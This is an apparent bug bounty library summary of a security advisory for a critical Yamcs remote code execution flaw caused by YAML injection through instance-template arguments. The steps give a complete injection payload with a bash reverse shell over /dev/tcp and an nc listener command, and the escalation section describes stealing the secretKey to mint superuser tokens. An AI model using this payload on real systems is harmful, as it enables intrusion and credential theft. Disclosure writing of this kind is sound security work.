# Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)

Unescaped templateArgs in Yamcs POST /api/instances inject YAML services entries, loading org.yamcs.ProcessRunner to execute commands as the service account.

- Payout: Research
- Severity: critical
- Program: Yamcs
- Found by: MarkLee131, manus-use
- Disclosed: 2026-08-28
- CVE: CVE-2026-55559
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-73mf-m39p-wpm9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-73mf-m39p-wpm9
- Tags: area:web domain:api domain:web impact:ato impact:rce kind:research platform:ghsa sev:critical tech:java technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Yamcs HTTP API instance creation endpoint (POST/PATCH /api/instances)
**Root cause:** VarStatement appends template arg values into the rendered config without YAML escaping, and InstancesApi.createInstance never validates args against declared variables; the rendered text is parsed as YAML and services entries instantiated by class name via YObjectLoader.
**Steps:**
1. Start the shipped example: `./run-example.sh templates` (HttpServer on 8090, no security.yaml, guest superuser).
2. Start a listener: `nc -lvnp 4444`.
3. POST to `/api/instances` with `template: example` and `templateArgs.spaceSystem` set to `x"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: ["bash", "-c", "exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3"]\n#`.
4. Server returns 200; the injected top-level `services:` overrides the template's `services: []` (last key wins in SnakeYAML) and ProcessRunner spawns the reverse shell.
**How found:** Code reading of the templating path: noticed VarStatement appends values raw, EscapeFilter only does HTML escaping (leaves newlines/colons), createInstance forwards args unchecked, and services are instantiated by class name — so a template arg is the only API path to instantiate an arbitrary class.
**Exploitation:** Attacker with CreateInstances (or unauthenticated under default config) closes the template's `name: "..."` quote, injects a top-level `services:` list with `class: org.yamcs.ProcessRunner` and a bash reverse-shell command, and comments out the trailing quote with `#`. Instance startup instantiates the class and runs the command as the Yamcs service account, giving a shell; from there the attacker reads `secretKey` from etc/yamcs.yaml to mint superuser tokens and reads other secrets/telemetry.
**Escalation:** Shell as service account → read `secretKey` from etc/yamcs.yaml → mint tokens for any user including superuser; also LDAP bind, OIDC client secret, TLS keys, and tampering with telemetry/command history across all instances.
**Insight:** When a template engine renders into a structured format (YAML/JSON), HTML-escaping filters are useless — look for any template variable placed inside a quoted scalar and break out with a newline plus a duplicate top-level key; SnakeYAML's last-key-wins lets you override the template's own `services: []`.

